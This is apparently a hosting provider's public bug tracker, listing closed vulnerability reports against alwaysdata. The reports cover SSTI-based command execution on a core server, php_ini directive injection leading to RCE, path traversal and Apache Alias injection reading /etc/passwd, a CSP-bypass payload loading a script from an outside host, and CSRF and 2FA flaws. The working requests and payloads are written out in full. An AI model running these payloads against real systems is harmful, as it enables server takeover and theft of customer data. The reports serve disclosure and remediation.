# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}
Step 11 β Submit, SSH, read config. Observe:
# overlord-core
This is the internal hostname of alwaysdata's core management server.
β
Proof Summary
Payload Output Proof
7_7 49 SSTI β math evaluated
id uid=33(www-data) RCE β system command executed
hostname overlord-core You're on their core management server
β
Impact
This vulnerability gives an attacker remote code execution as www-data on overlord-core β the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:
- Read/write files on the core infrastructure server - Access all customer data β the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys - Access internal services β overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes - Compromise the admin panel β the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and support tickets - Pivot to all hosting servers β from the core server, an attacker can reach every shared hosting node in the fleet
Any user with a free account can exploit this. No special privileges required.
|
|
414 | Cross-Site Request Forgery (CSRF) Allows Displaying Ano ... | Closed | 17.07.2026 |
Task Description
Description
A Cross-Site Request Forgery (CSRF) vulnerability exists in the Display Zone File functionality.
The application does not properly validate whether the Display Zone File request is initiated by the authenticated user. By creating a malicious CSRF proof-of-concept (PoC) and replacing the domain_id with the victim's domain ID, an attacker can force the victim's authenticated browser to execute the Display Zone File request without the victim's knowledge or interaction.
This allows unauthorized actions to be performed on behalf of authenticated users.
## CVSS v3.1
Base Score: 4.5 (MEDIUM)
Steps to Reproduce
Log in with an attacker account. Navigate to the Domain section. Ensure at least one domain is present. Go to Domain Settings β DNS Records. Open another browser/private window and log in as a victim. Ensure at least one domain is present in the victim account. Return to the attacker account. Trigger the Display Zone File functionality. Capture the Display Zone File request using Burp Suite. Use Burp Suite Engagement Tools to generate a CSRF PoC. Save the generated HTML file. Replace the attacker's domain_id with the victim's domain_id. Open the modified PoC in the victim's authenticated browser. Click Submit. Observe that the victim's Display Zone File is opened successfully without the victim intentionally initiating the action.
Expected Behavior
The application should validate that the Display Zone File request was intentionally initiated by the authenticated user and should reject cross-origin forged requests without proper CSRF validation.
Actual Behavior
The application accepts the forged CSRF request and executes the Display Zone File action using the victim's active session without requiring any additional verification.
Impact
An attacker can force authenticated users to execute the Display Zone File action without their knowledge.
This may allow unauthorized exposure of domain DNS zone information and sensitive configuration details through the victim's active session.
|
|
413 | Cross-Site Request Forgery (CSRF) Allows Logs Refresh o ... | Closed | 17.07.2026 |
Task Description
Description
The application does not properly validate whether a Logs Refresh request is initiated by the authenticated user. By creating a malicious CSRF PoC and replacing the service_id with the victim's service ID, an attacker can force a victim's authenticated browser to execute the Logs Refresh action without the victim's knowledge or interaction.
This allows unauthorized actions to be performed on behalf of authenticated users.
Steps to Reproduce
Log in with an attacker account. Navigate to the Services section. Create a new service. Open another browser/private window and log in as a victim. Create a service in the victim account. Return to the attacker account. Trigger the Logs Refresh functionality. Capture the Logs Refresh request using Burp Suite. Use Burp Suite Engagement Tools to generate a CSRF PoC. Save the generated HTML file. Replace the attacker's service_id with the victim's service_id. Open the modified PoC in the victim's authenticated browser. Click Submit. Observe that the victim's Logs Refresh action is executed successfully without the victim intentionally performing the action.
Expected Behavior
The application should validate that Logs Refresh requests are intentionally initiated by the authenticated user and should reject cross-origin requests without proper CSRF protection.
Actual Behavior
The application accepts the forged request and performs the Logs Refresh action using the victim's active session without requiring any additional validation.
Impact
An attacker can force authenticated users to execute Logs Refresh actions without their knowledge through a CSRF attack. The attacker can repeatedly trigger Logs Refresh requests on behalf of the victim, potentially consuming the victim's available Logs Refresh quota/limit. This may result in abuse of limited resources and prevent the victim from using the Logs Refresh functionality when needed.
|
|
412 | Direct Organization Access Granted, Leading to Organiza ... | Closed | 16.07.2026 |
Task Description
Description
During testing, I discovered that when an owner creates a new user and assigns permissions, the user is immediately added to the organization without any invitation acceptance or verification step.
As a result, if an owner accidentally enters an attacker's email address and assigns a privileged role, the attacker gains direct access to the organization and its resources immediately after logging in.
This allows the newly created user to perform all actions associated with the assigned role without requiring approval or invitation acceptance.
Steps to Reproduce
Log in to the Owner account. Navigate to Permissions. Click Add User. Enter a user's email address. Assign all available permissions. Click Create User. Log in to the newly created user account. Observe that the user is automatically added to the owner's organization with all assigned permissions.
Impact
If an owner mistakenly enters an attacker's email address while creating a user, the attacker immediately gains access to the organization with the assigned permissions.
When high-privilege permissions are assigned, the attacker may be able to access sensitive data, manage users, modify organization settings, and potentially delete or take full control of the organization.
Expected Behavior
Newly created users should be required to verify ownership of the invited email address and explicitly accept the invitation before gaining access to the organization.
Actual Behavior
The user is automatically added to the organization with the assigned permissions immediately after account creation, without any invitation acceptance step.
|
|
411 | Expired Two-Factor Authentication (2FA) Code Accepted, ... | Closed | 15.07.2026 |
Task Description
Description
During testing, I discovered that the application accepts an expired 2FA verification code.
After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.
This indicates that the application does not properly validate the expiration time of 2FA verification codes.
Steps to Reproduce Log in using a valid email address and password. Enter the 2FA verification code. Capture the 2FA verification request using Burp Suite. Send the captured request to Burp Repeater. Wait until the 2FA code has completed three rotations and is expired. Send the request from Burp Repeater and observe a 302 Found response. Forward the original intercepted request containing the same expired 2FA code. Observe that the server again returns 302 Found and successfully authenticates the account.
Impact
An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.
Expected Behavior
The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.
Actual Behavior
The server accepts a 2FA code even after it has expired and successfully authenticates the user.
|
|
410 | Unrestricted PHP ini Directive Injection via php_ini fi ... | Closed | 15.07.2026 |
Task Description
TITLE: Unrestricted PHP ini Directive Injection via `php_ini` field leads to
Remote Code Execution (RCE)
MODULE: Site Management (API)
SEVERITY: CRITICAL (CVSS 3.1: 9.8)
SUMMARY
The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts arbitrary PHP ini directives with NO validation or sanitization. An attacker with API access can inject directives such as `auto_prepend_file` to execute arbitrary PHP code on every PHP page request.
Additionally: - `open_basedir` is NOT set (no filesystem restriction) - `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled - The PHP configuration applies immediately without a restart - PHP-FPM runs as the authenticated user (uid=534062, saini)
This allows an authenticated attacker to achieve FULL remote code execution on the server, running system commands as the account user, reading/writing any file the user has access to, and installing persistent backdoors.
STEPS TO REPRODUCE
Prerequisites: - A valid alwaysdata API token with account access - An existing PHP site (site_id known) - SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)
Step 1: Verify the site accepts PHP execution
Access any PHP file in the DocumentRoot:
GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Response: 200 OK
MAIN_SCRIPT_EXECUTED
PHP execution is confirmed.
Step 2: Create a PHP prepend file that executes a system command
Write a file (e.g., via SSH or FTP) to the account's home directory:
File: /home/{account}/www/cmd_prepend.php
Content:
<?php echo "CMD:" . shell_exec("id 2>&1") . "|";
Step 3: Inject auto_prepend_file via the php_ini field
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}
Response: 204 No Content
The directive is accepted verbatim with NO validation.
Step 4: Access any PHP page to trigger code execution
Request:
GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html
Response: 200 OK
CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED
The PHP ini directive was applied and the system command `id` executed successfully, returning the user and group IDs. This confirms arbitrary code execution on the server.
Step 5: Restore original configuration
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":""}
Response: 204 No Content
ADDITIONAL TESTS AND FINDINGS
Test A: Verify no open_basedir restriction
A PHP script was executed to check security restrictions:
Output:
/tmp: WRITABLE | READABLE
/: NOT_WRITABLE | READABLE
CWD: /home/saini/www
USER: saini
TMP: /home/saini/admin/tmp
OPEN_BASEDIR: Γ’β EMPTY - NO RESTRICTION
DOCROOT: /home/saini/www/
No open_basedir is configured, allowing PHP to access any path the user has filesystem permissions for.
Test B: Verify dangerous functions are not disabled
All of the following functions were confirmed working:
shell_exec() Γ’β β executes system commands
exec() Γ’β β executes system commands
system() Γ’β β executes system commands
passthru() Γ’β β executes system commands
file_get_contents() Γ’β β reads any file
file_put_contents() Γ’β β writes to any writable path
popen() Γ’β β executes system commands
proc_open() Γ’β β executes system commands
Test C: The php_ini directive takes effect immediately
No server restart or PHP-FPM reload was required. The directive was applied and reflected in the very next HTTP request.
Test D: auto_prepend works from any path accessible to PHP
The auto_prepend_file directive was tested with files in multiple locations:
/home/{account}/www/prepend.php Γ’β β WORKS
Absolute paths are resolved correctly
IMPACT
An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the alwaysdata shared hosting server, with the following capabilities:
1. EXECUTE ARBITRARY SYSTEM COMMANDS
Run any shell command as the account user
Install backdoors, malware, cryptominers
Launch attacks against internal network services
2. READ/WRITE ANY FILE
Read database configuration files, credentials
Modify existing PHP files to include persistent backdoors
Access other users' files if permissions allow
Read application source code and secrets
3. PERSISTENT ACCESS
Create new PHP files in the web directory
Modify .htaccess or Apache configuration
Set up cron jobs or other persistence mechanisms
Exfiltrate data to external servers
4. PIVOT TO INTERNAL SERVICES
Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
Read local network configuration
Potentially access cloud metadata endpoints (169.254.169.254)
5. COMBINATION WITH PATH TRAVERSAL
When combined with the path traversal vulnerability (ALW-SITE-002),
the attacker can set DocumentRoot to / and execute PHP code at the
same time, amplifying the attack surface significantly.
CVSS 3.1 SCORE
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (CRITICAL)
Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request Privileges: Low (PR:L) - Requires valid API token User Interaction: None (UI:N) - No victim action needed Scope: Unchanged (S:U) - Within account boundaries Confidentiality: High (C:H) - Read any file, execute commands Integrity: High (I:H) - Write/modify any file Availability: High (A:H) - Can delete files, disrupt service
Note: Scope is "Unchanged" because the execution runs as the authenticated user. If the attacker can read other users' data (cross-tenant), Scope would be "Changed" and score would increase to 10.0 (CRITICAL).
REMEDIATION RECOMMENDATION
1. IMPLEMENT DIRECTIVE ALLOWLIST
Only allow safe PHP ini directives such as:
memory_limit, upload_max_filesize, post_max_size
max_execution_time, max_input_time
date.timezone, error_reporting
Block dangerous directives:
auto_prepend_file, auto_append_file
disable_functions, disable_classes
open_basedir, allow_url_include
extension_dir, extension
error_log (to prevent log injection)
2. ENFORCE OPEN_BASEDIR
Always set open_basedir to restrict PHP to the account's home
directory, preventing access to system files and other users' data.
3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL
Add disable_functions = shell_exec, exec, system, passthru, popen,
proc_open, pcntl_exec to the account's PHP-FPM pool configuration.
This should NOT be overridable through the php_ini field.
4. INPUT VALIDATION
Validate that the php_ini field only contains approved directives.
Reject any input containing "=" assignments for unapproved directives.
Parse the input server-side and apply only allowed values.
5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)
In the PHP-FPM pool configuration, set:
php_admin_value[auto_prepend_file] = none
php_admin_value[open_basedir] = /home/{account}/
- php_admin_value directives CANNOT be overridden by user-level ini
directives, providing a secure baseline.
|
|
409 | Path Traversal in site path field leads to arbitrary fi ... | Closed | 15.07.2026 |
Task Description
TITLE: Path Traversal in Site Management `path` field allows reading arbitrary
system files via DocumentRoot manipulation
SEVERITY: HIGH (CVSS 3.1: 7.7)
SUMMARY
The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts arbitrary directory traversal sequences (e.g., `../../../../`) with NO canonicalization or validation. This allows an authenticated attacker to set the Apache DocumentRoot to any directory on the filesystem, enabling read access to ANY world-readable file on the server via HTTP GET requests.
Since the `path` change takes effect WITHOUT a server restart, the attacker can immediately read files by accessing the site's URL after updating the path.
This also enables cross-tenant data access β any file on the server that is world-readable (including files in shared /tmp, system configuration files, and potentially other users' data with loose permissions) can be retrieved.
STEPS TO REPRODUCE
Prerequisites: - A valid alwaysdata API token with account access - An existing site (site_id known)
Step 1: Get the current site configuration to confirm baseline
Request:
GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json
Response: 200 OK
{
"id": 1060051,
"path": "www/",
"addresses": ["victim.alwaysdata.net/"],
...
}
Step 2: PATCH the site with a path traversal payload
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"../../../../"}
Response: 204 No Content
The `path` "../../../../" resolves from /home/{account}/www/ to the filesystem root (/), setting DocumentRoot to /.
Step 3: Access a system file via the site URL
Request:
GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*
Response: 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)
The file /etc/passwd was served as a static file through Apache with no authentication or access control applied.
Step 4: Confirm the change is immediate (no restart required)
No server restart or reload was required. The path change is reflected in the next HTTP request, confirming that the DocumentRoot is dynamically regenerated.
Step 5: Restore original path
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"www/"}
Response: 204 No Content
EVIDENCE
Evidence 1: API acceptance of path traversal payload
PATCH request with path "../../../../" returned 204 No Content, confirming the value was accepted without any canonicalization or rejection.
Evidence 2: Successful read of /etc/passwd via web
HTTP GET /etc/passwd returned 200 OK with the full contents of the system password file (1764 bytes), including all 35 system users: - root, daemon, bin, sys, sync, games, man, mail, news, uucp - proxy, www-data, backup, list, irc, _apt, nobody - systemd-network, messagebus, sshd, munin, and more
Evidence 3: No restart required
The path change was reflected immediately in the very next HTTP request, with no restart or reload needed.
IMPACT
An attacker with API access (valid account credentials) can:
1. Read ANY world-readable file on the server, including:
System configuration files (/etc/passwd, /etc/shadow if readable)
Application configuration files
Database credentials in config files
Other users' files with loose permissions
SSL/ TLS certificates and private keys
Source code deployed on the server
2. Access files in /tmp/ that belong to other users on the same server
(cross-tenant data leakage).
3. Map the internal server structure, enumerate users, and find sensitive
information for further attacks.
4. The attack requires no user interaction and no unusual preconditions
beyond valid API credentials.
This vulnerability can be combined with other site management weaknesses (such as unrestricted php_ini directive injection) for code execution, amplifying the impact to full server compromise
CVSS 3.1 SCORE
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Base Score: 7.7 (HIGH)
Attack Vector: Network (AV:N) - Exploitable remotely Attack Complexity: Low (AC:L) - Simple PATCH request Privileges: Low (PR:L) - Requires valid API token User Interaction: None (UI:N) - No victim action needed Scope: Changed (S:C) - Reads files outside account boundary Confidentiality: High (C:H) - System files accessible Integrity: None (I:N) - Read-only Availability: None (A:N) - No DoS impact
REMEDIATION RECOMMENDATION
1. Canonicalize the `path` input and verify it resolves to a path WITHIN the
account's allowed directory (e.g., /home/{account}/).
2. Reject any path that contains directory traversal sequences (../ or ..\)
or resolves outside the allowed base directory.
3. Apply allowlist validation: only allow known-safe subdirectory names
(e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.
4. Implement server-side path normalization using realpath() or equivalent
to resolve symlinks and traversal sequences before accepting the path.
|
|
408 | API bypasses Databases feature entitlement (create plan ... | Closed | 14.07.2026 |
Task Description
Severity
Medium β CVSS 3.1 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) β broken authorization / plan-restriction bypass.
Summary
On an account where the Databases feature is not enabled, the administration interface correctly blocks database creation with "Feature unavailable β This feature is currently not available for this account." However, the REST API (POST /v1/database/) does not perform the same entitlement check and returns 201 Created. The resulting MySQL/MariaDB (and PostgreSQL) database is fully functional and reachable on mysql-<account>.alwaysdata.net. The plan restriction is enforced only in the UI, not server-side in the API.
Steps to reproduce
Step 1 β The UI enforces the entitlement (feature is genuinely gated). Request:
GET /database/add/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=<your admin session>
Response:
HTTP/2 200 OK
Content-Type: text/html
<h1>Feature unavailable</h1>
<p>This feature is currently not available for this account.
Please contact us if you want to activate it.</p>
Step 2 β The API bypasses the entitlement. Request:
POST /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Content-Type: application/json
{"name":"YOUR-ACCOUNT_qz","type":"MYSQL"}
Response:
HTTP/2 201 Created
Location: /v1/database/<id>/
Content-Length: 0
Step 3 β The database exists and is fully functional. Request:
GET /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Response:
HTTP/2 200 OK
Content-Type: application/json
[{"id":<id>,"name":"YOUR-ACCOUNT_qz","type":"MYSQL","href":"/v1/database/<id>/","permissions":{"YOUR-ACCOUNT":"FULL"}}]
The database accepts real connections (a default DB user exists; its password is set via PATCH /v1/database/user/<id>/):
$ mysql -h mysql-<account>.alwaysdata.net -u <account> -p***** -e "SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;"
<account>@% 11.4.12-MariaDB
information_schema
<account>_qz
Step 4 (optional) β Confirms the gate is real, not a transient UI state. DELETE /v1/database/<id>/ returns 204. Reloading GET /database/add/ again returns the "Feature unavailable" page, so the account genuinely lacks the entitlement; only the API fails to enforce it.
Reproduced multiple times. The same bypass also works for "type":"POSTGRESQL" (also plan-gated), so it is not engine-specific. My API token is omitted from this public report and can be provided privately if needed.
Impact
A customer whose plan does not include the Databases feature can create and use functional MySQL/MariaDB and PostgreSQL databases through the API, obtaining a resource their plan does not permit. The entitlement check is missing on the server side (API) and enforced only in the UI, allowing the restriction to be bypassed programmatically.
Enforce the account's feature entitlements server-side on the API resource-create endpoints (POST /v1/database/ and any other plan-gated resource), returning the same "feature not available for this account" rejection that the UI applies.
|
|
407 | A Content Security Policy (CSP) bypass | Closed | 15.07.2026 |
Task Description
Summary A Content Security Policy (CSP) bypass vulnerability exists on the website https://www.alwaysdata.com/en/, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.
Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
Details Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources. Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil. Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful. Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string. Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, whatβs the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.
POC 1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want) 3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope> <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> <img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'> </div> ">` 4. See the popup, look at network tools and see that the script is loaded from
Impact: This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.
Payload document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope> <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> <img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'> </div> ">`
|
|
403 | LFI via Apache Alias Directive Injection in `vhost_addi ... | Closed | 13.07.2026 |
Task Description
## Summary
The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a URL path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).
Relationship to FS#347 : FS#347 reported "Unrestricted Apache Directive Injection Leading to RCE" and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via PHP bypass β this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.
## Severity
High (CVSS 8.6 β AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Environment
| Detail | Value |
| βββ | ββ- |
| Account | subhash (ID 486630) |
| Site | subhash.alwaysdata.net (ID 1058919) |
| Server | http21 (Debian 12, shared hosting) |
## Steps to Reproduce
### Step 1 β Inject Alias directive via site configuration
Navigate to `https://admin.alwaysdata.com/site/1058919/` and add the following to the "Additional Apache directives" field:
```apache Alias /read-etc /etc <Directory /etc>
Require all granted
Options +Indexes
</Directory> ```
Save the form. Alternatively via API:
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic [token] Content-Type: application/json
{
"vhost_additional_directives": "Alias /read-etc /etc\n<Directory /etc>\n Require all granted\n Options +Indexes\n</Directory>"
} ```
Response: `204 No Content` β accepted without validation.
### Step 2 β Read /etc/passwd (system users)
After Apache reload (~10 seconds):
```http GET /read-etc/passwd HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Server: Apache Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin _dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin sshd:x:107:65534::/run/sshd:/usr/sbin/nologin munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin [β¦34 system accounts total] ```
### Step 3 β Read /etc/resolv.conf (internal DNS infrastructure)
```http GET /read-etc/resolv.conf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` search paris1.alwaysdata.com alwaysdata.com alwaysdata.net options timeout:2 options attempts:1 nameserver ::1 nameserver 2a00:b6e0:1:14:1::1 nameserver 8.8.4.4 ```
Impact: Exposes internal domain `paris1.alwaysdata.com`, internal DNS IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.
### Step 4 β Read /etc/fstab (storage architecture)
```http GET /read-etc/fstab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` LABEL=root / ext4 noatime,errors=remount-ro 0 0 LABEL=usr /usr ext4 noatime,nodev 0 0 LABEL=var /var ext4 noatime,nodev,nosuid 0 0 LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0 proc /proc proc hidepid=2,gid=4 0 0 ```
Impact: Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).
### Step 5 β Directory listing of /etc/ (with Options +Indexes)
```http GET /read-etc/ HTTP/1.1 Host: subhash.alwaysdata.net ```
The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.
### Step 6 β Cleanup
The `vhost_additional_directives` field was immediately cleared after testing.
## Difference from FS#347
| Aspect | FS#347 (original report) | This report |
| βββ | βββββββββ | ββββ- |
| Focus | RCE via PHP bypass | LFI via Alias β file reads |
| Status | Closed | Alias LFI still works |
| Evidence | Directive injection concept | Concrete reads: passwd, resolv.conf, fstab, hostname |
| Impact demonstrated | Theoretical RCE | Actual infrastructure data exfiltrated |
If FS#347 was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.
## Root Cause
The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any URL path to any filesystem path, and `<Directory>` with `Require all granted` opens access.
## Impact
Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads:
| File | Data Exposed |
| ββ | ββββ- |
| `/etc/passwd` | 34 system service accounts |
| `/etc/hostname` | Internal hostname `http21` |
| `/etc/resolv.conf` | Internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1` |
| `/etc/fstab` | NAS `/home`, partition layout, `hidepid=2` |
| `/etc/os-release` | Debian GNU/Linux 12 (bookworm) |
| `/etc/mysql/my.cnf` | MariaDB socket path, config structure |
| `/etc/crontab` | System cron schedule |
## Suggested Fix
1. Allowlist safe directives: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network. 2. Sandbox directive scope: Enforce that all directives operate within `/home/{account}/` only.
|
|
401 | Critical SSRF via Application Script Source URI β Cross ... | Closed | 13.07.2026 |
Task Description
Critical SSRF via Application Script Source URI β Cross-Tenant Data Leak Severity: Critical Target: admin.alwaysdata.com Auth: Free-tier account (no special permissions)
Summary The "Installation script source URI" field accepts internal URLs like `<REDACTED>`. The server fetches the URL from its own backend and stores the full response in the script field, readable by the attacker. No IP/port validation exists. This leaks other customers' data, internal server names, and full stack traces.
Steps to Reproduce 1. Log in to `https://admin.alwaysdata.com` (free account works) 2. Go to Web β Sites β Applications β Application scripts β Add 3. Fill required fields with any values. For Installation script enter:
#!/bin/bash
site:
type: custom
echo installed
4. Set Installation script source URI to: `<REDACTED>` 5. Click Submit
6. Click the refresh/update icon next to the script (or visit `/site/application/script/<ID>/update_script/`) 7. Open the script edit page β the Installation script textarea now contains <REDACTED>.
Impact - Cross-tenant data leak β read other customers' account names, domains, and operations - Internal infrastructure mapping β server hostnames, paths, stack traces exposed - Firewall bypass β requests come from the server itself, reaching localhost-only services - No rate limit β can probe unlimited internal ports/services - 147 MB exfiltrated in a single request with no size restriction
β
Thank You
|
|
397 | Unvalidated Apache Directives in Site API β LFI, SSRF, ... | Closed | 13.07.2026 |
Task Description
## Summary
While testing the alwaysdata hosting platform, I found that the REST API does not sanitize or restrict the `vhost_additional_directives` field when updating a site configuration. This field is intended for custom Apache vhost snippets, but it accepts dangerous directives like `Alias`, `ProxyPass`, `Options +Includes`, and `Options +ExecCGI` without any filtering. By abusing this, I was able to:
1. Read arbitrary files from the server (`/etc/passwd`, `/etc/hostname`) through an Apache `Alias` directive β classic Local File Inclusion. 2. Reach internal services via `ProxyPass`, including grabbing the SSH banner from `127.0.0.1:22` β full Server-Side Request Forgery. 3. List and read the shared `/tmp` directory, which exposes files belonging to other tenants on the same server β cross-tenant information disclosure.
All three issues stem from the same root cause: the API blindly passes user-supplied Apache directives into the generated vhost config without validation.
β
## Environment
- Account name: subhash (account ID 486630) - Site: subhash.alwaysdata.net (site ID 1058919, type: PHP, httpd: Apache) - Server hostname: http21 (shared hosting, Debian 12) - API authentication: Bearer token via Basic auth (token ID as username, empty password)
β
## Bug 1 β Local File Inclusion via Apache Alias Directive
### What I did
After creating a free hosting account and generating an API token, I noticed the site object returned by `GET /v1/site/1058919/` has a field called `vhost_additional_directives`. The API documentation does not mention any restrictions on what directives you can put in there, so I tried an `Alias` pointing to `/etc/passwd`:
``` PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic REDACTED Content-Type: application/json
{
"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Directory /etc>\nRequire all granted\n</Directory>" } ```
The API returned `204 No Content` β accepted, no questions asked.
After waiting a few seconds for the config to reload, I hit the alias path:
``` GET /readfile HTTP/1.1 Host: subhash.alwaysdata.net ```
Response (200 OK):
